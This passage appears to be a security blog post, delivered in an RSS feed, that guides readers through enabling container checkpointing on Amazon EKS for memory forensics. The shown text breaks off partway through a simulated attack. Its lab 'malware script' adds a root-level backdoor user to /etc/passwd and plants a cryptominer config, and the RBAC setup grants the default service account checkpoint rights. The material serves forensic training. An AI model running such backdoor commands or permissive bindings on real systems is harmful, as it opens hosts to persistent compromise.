<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Monty Shyama]]></title><description><![CDATA[Security Engineering · SecOps · Detection · Research]]></description><link>https://montyshyama.com</link><image><url>https://substackcdn.com/image/fetch/$s_!gUJI!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f63a7ad-e333-4efb-a5e7-d2ed0a7fdccb_415x415.png</url><title>Monty Shyama</title><link>https://montyshyama.com</link></image><generator>Substack</generator><lastBuildDate>Sat, 29 Aug 2026 10:48:11 GMT</lastBuildDate><atom:link href="https://montyshyama.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Monty Shyama]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[themonty@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[themonty@substack.com]]></itunes:email><itunes:name><![CDATA[Monty Shyama]]></itunes:name></itunes:owner><itunes:author><![CDATA[Monty Shyama]]></itunes:author><googleplay:owner><![CDATA[themonty@substack.com]]></googleplay:owner><googleplay:email><![CDATA[themonty@substack.com]]></googleplay:email><googleplay:author><![CDATA[Monty Shyama]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Freezing the Crime Scene: A Step-by-Step Guide to Container Checkpointing & Forensics on Amazon EKS]]></title><description><![CDATA[TL;DR When a container is compromised, your instinct is to kill it or read the logs.]]></description><link>https://montyshyama.com/p/a-step-by-step-guide-to-container-checkpointing-and-forensics-on-amazon-eks</link><guid isPermaLink="false">https://montyshyama.com/p/a-step-by-step-guide-to-container-checkpointing-and-forensics-on-amazon-eks</guid><dc:creator><![CDATA[Monty Shyama]]></dc:creator><pubDate>Thu, 29 Jan 2026 11:06:14 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!-aLz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe37b71b9-d65b-46f9-ab24-2b0d45195fa8_3416x1468.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>TL;DR</h3><p>If you read the Kubernetes documentation on <code>ContainerCheckpoint</code>, it sounds like a dream feature for security engineers. You flip a feature gate, run a command, and&#8212;<em>poof</em>&#8212;you have a perfect snapshot of a running container&#8217;s memory. It&#8217;s the holy grail for analyzing malware, extracting encryption keys, or debugging zombie processes.</p><p>But if you try to actually do this on a modern AWS EKS cluster, the documentation falls apart.</p><p>I spent the last few days fighting through this process. I battled missing binaries, stripped-down operating systems (Amazon Linux 2023), undocumented authentication hurdles, and build failures.</p><p>Here is the no-nonsense guide to actually making container checkpointing work on EKS for forensic analysis.</p><div><hr></div><h2>Part 1: The &#8220;Why&#8221; and &#8220;What&#8221;?</h2><p>Before we dive into the command-line warfare, we need to understand why getting a memory dump from a specific pod is so much harder than a standard EC2 instance.</p><h3>The Problem Statement: Traditional Forensics vs. Kubernetes</h3><p>In the traditional world of EC2 or on-premise servers, forensics followed a standard playbook:</p><ol><li><p><strong>Isolate:</strong> Cut the network.</p></li><li><p><strong>Dump RAM:</strong> Use kernel modules like <strong>LiME</strong> (Linux Memory Extractor) to dump the physical RAM.</p></li><li><p><strong>Image Disk:</strong> Bit-for-bit copy of the hard drive.</p></li></ol><p><strong>On Kubernetes (and EKS), this workflow breaks:</strong></p><ul><li><p><strong>The &#8220;Needle in a Haystack&#8221;:</strong> An EKS Worker Node might have 64GB of RAM and host 30 different pods. Dumping the <em>entire</em> node&#8217;s memory to find evidence for one small container is inefficient, noisy, and privacy-invasive (you end up dumping data from unrelated neighbors).</p></li><li><p><strong>Ephemeral Storage:</strong> Containers use overlay filesystems (<code>overlayfs</code>). If a pod crashes or is deleted, the &#8220;Upper Dir&#8221; (where new data is written) is often wiped instantly.</p></li><li><p><strong>The &#8220;Cattle&#8221; Concept:</strong> Kubernetes is designed to kill and restart unhealthy pods. If an attacker&#8217;s script causes a crash, the evidence disappears before an analyst can even log in.</p></li></ul><div><hr></div><h3>What is Container Checkpointing?</h3><p>At its simplest, container checkpointing is a &#8220;Save Game&#8221; feature for your applications.</p><p>Under the hood, it relies on a Linux technology called <strong>CRIU</strong> (Checkpoint/Restore In Userspace). It freezes a running process tree and serializes its entire state&#8212;CPU registers, open file descriptors, network sockets, and most importantly, the <strong>RAM contents</strong>&#8212;writing them to disk as a collection of image files.</p><p>While originally designed for process migration (moving a running app from Server A to Server B without a restart), security engineers have co-opted it for <strong>Evidence Preservation</strong>.</p><div><hr></div><h3>How Checkpointing Bridges the Gap?</h3><p>Container Checkpointing allows for <strong>Surgical Forensics</strong>.</p><p>Instead of capturing the whole node, we capture the memory pages strictly belonging to the specific <code>cgroup</code> (Control Group) of the suspicious container. This allows us to capture:</p><ul><li><p><strong>Masquerading Processes:</strong> Malware hiding under legitimate names (e.g., <code>kworker</code>).</p></li><li><p><strong>Fileless Execution:</strong> Binaries running purely in RAM (like <code>/dev/shm</code> malware) that have no footprint on the disk.</p></li><li><p><strong>Memory-Resident Secrets:</strong> Decryption keys, AWS <code>AKIA</code> credentials, or environment variables that exist only in the process heap.</p></li></ul><div><hr></div><h2>Part 2: The Lab Setup (Infrastructure Prep)</h2><p>Kubernetes does not support checkpointing out of the box. We need to tell the Kubelet to enable this Alpha feature.</p><h3>Step 1: Create the Launch Template</h3><p>We need to create a custom EKS node group and inject a script in the <strong>User Data</strong> section to enable the feature gate.</p><ol><li><p>Go to the <strong>EC2 Console</strong> -&gt; <strong>Launch Templates</strong> -&gt; <strong>Create Launch Template</strong>.</p></li><li><p><strong>OS:</strong> Leave it as empty.</p></li><li><p><strong>Advanced Details</strong> -&gt; <strong>User Data</strong>. Paste the following script. This script installs CRIU (needed for checkpointing) and updates the Kubelet config.</p></li></ol><p><strong>User Data Script:</strong></p><pre><code>MIME-Version: 1.0
--//
Content-Type: text/x-shellscript; charset="us-ascii"

#!/bin/bash
set -ex
# 1. Install CRIU using dnf (AL2023 package manager)
dnf install -y criu

--//
Content-Type: application/node.eks.aws

---
apiVersion: node.eks.aws/v1alpha1
kind: NodeConfig
spec:
  kubelet:
    flags:
      - "--feature-gates=ContainerCheckpoint=true"

--//--</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4T0o!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4T0o!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 424w, https://substackcdn.com/image/fetch/$s_!4T0o!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 848w, https://substackcdn.com/image/fetch/$s_!4T0o!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 1272w, https://substackcdn.com/image/fetch/$s_!4T0o!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4T0o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png" width="971" height="436" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:436,&quot;width&quot;:971,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:64786,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4T0o!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 424w, https://substackcdn.com/image/fetch/$s_!4T0o!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 848w, https://substackcdn.com/image/fetch/$s_!4T0o!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 1272w, https://substackcdn.com/image/fetch/$s_!4T0o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ecb6c14-b63d-4260-9d88-50e20be3f194_971x436.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Step 2: Create the Node Group</h3><ol><li><p>Go to your <strong>EKS Cluster</strong>.</p></li><li><p>Create a <strong>Managed Node Group</strong>.</p></li><li><p>Select the <strong>Launch Template</strong> you just created.</p></li><li><p>Wait for the nodes to come Online.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dfee!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dfee!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 424w, https://substackcdn.com/image/fetch/$s_!dfee!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 848w, https://substackcdn.com/image/fetch/$s_!dfee!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 1272w, https://substackcdn.com/image/fetch/$s_!dfee!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dfee!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png" width="1456" height="647" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:647,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:181002,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dfee!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 424w, https://substackcdn.com/image/fetch/$s_!dfee!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 848w, https://substackcdn.com/image/fetch/$s_!dfee!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 1272w, https://substackcdn.com/image/fetch/$s_!dfee!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b13b68-0bbb-4c86-8355-67762398b3e5_1904x846.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Step 3: Configure Permissions (RBAC)</h3><p>By default, nobody is allowed to trigger a checkpoint, not even the default service account. We need to create a <code>ClusterRole</code> to allow access to the <code>/checkpoint</code> API.</p><pre><code>cat &lt;&lt;EOF | kubectl apply -f -
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: checkpoint-runner
rules:
- apiGroups: [""]
  resources: ["nodes/checkpoint"]
  verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: allow-default-checkpoint
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: ClusterRole
  name: checkpoint-runner
  apiGroup: rbac.authorization.k8s.io
EOF</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GySJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GySJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 424w, https://substackcdn.com/image/fetch/$s_!GySJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 848w, https://substackcdn.com/image/fetch/$s_!GySJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 1272w, https://substackcdn.com/image/fetch/$s_!GySJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GySJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png" width="1456" height="703" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:703,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:185662,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GySJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 424w, https://substackcdn.com/image/fetch/$s_!GySJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 848w, https://substackcdn.com/image/fetch/$s_!GySJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 1272w, https://substackcdn.com/image/fetch/$s_!GySJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c5ea8c2-5128-4142-a95f-b28f85271197_2198x1062.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>Part 3: The Victim (Deploying the Pod)</h2><p>Let&#8217;s deploy a standard web server. This will be our &#8220;victim.&#8221;</p><pre><code>cat &lt;&lt;EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: web-victim
  namespace: default
spec:
  containers:
  - name: nginx-container
    image: nginx:latest
    ports:
    - containerPort: 80
EOF</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UutR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UutR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 424w, https://substackcdn.com/image/fetch/$s_!UutR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 848w, https://substackcdn.com/image/fetch/$s_!UutR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 1272w, https://substackcdn.com/image/fetch/$s_!UutR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UutR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png" width="1456" height="818" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:818,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:255042,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UutR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 424w, https://substackcdn.com/image/fetch/$s_!UutR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 848w, https://substackcdn.com/image/fetch/$s_!UutR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 1272w, https://substackcdn.com/image/fetch/$s_!UutR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F489f2c76-aeee-452c-8687-55cd18972c31_2410x1354.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Wait for the pod to be </em><code>Running</code><em>.</em></p><div><hr></div><h2>Part 4: Simulating the Attack</h2><p>We are going to play the role of a sophisticated attacker. We won't just run a script; we will establish persistence, hide files, and run memory-only malware.</p><h3>Log into the victim:</h3><pre><code>kubectl exec -it web-victim -- bash</code></pre><h3>Run the Malware Script:</h3><p>Copy and paste this script into the container. It is designed to leave traces in Memory, Disk, and Logs.</p><pre><code>#!/bin/bash

# --- Persistence &amp; User Modification ---
# Create a backdoor user (Classic persistence)
echo "sysadmin_backup:x:0:0::/root:/bin/bash" &gt;&gt; /etc/passwd

# Timestomping: Create a config file and make it look old
mkdir -p /etc/sys-config
echo "miner_url=pool.minexmr.com" &gt; /etc/sys-config/miner.conf
# Set date to Jan 1st 2022 (Hiding from 'ls -lt')
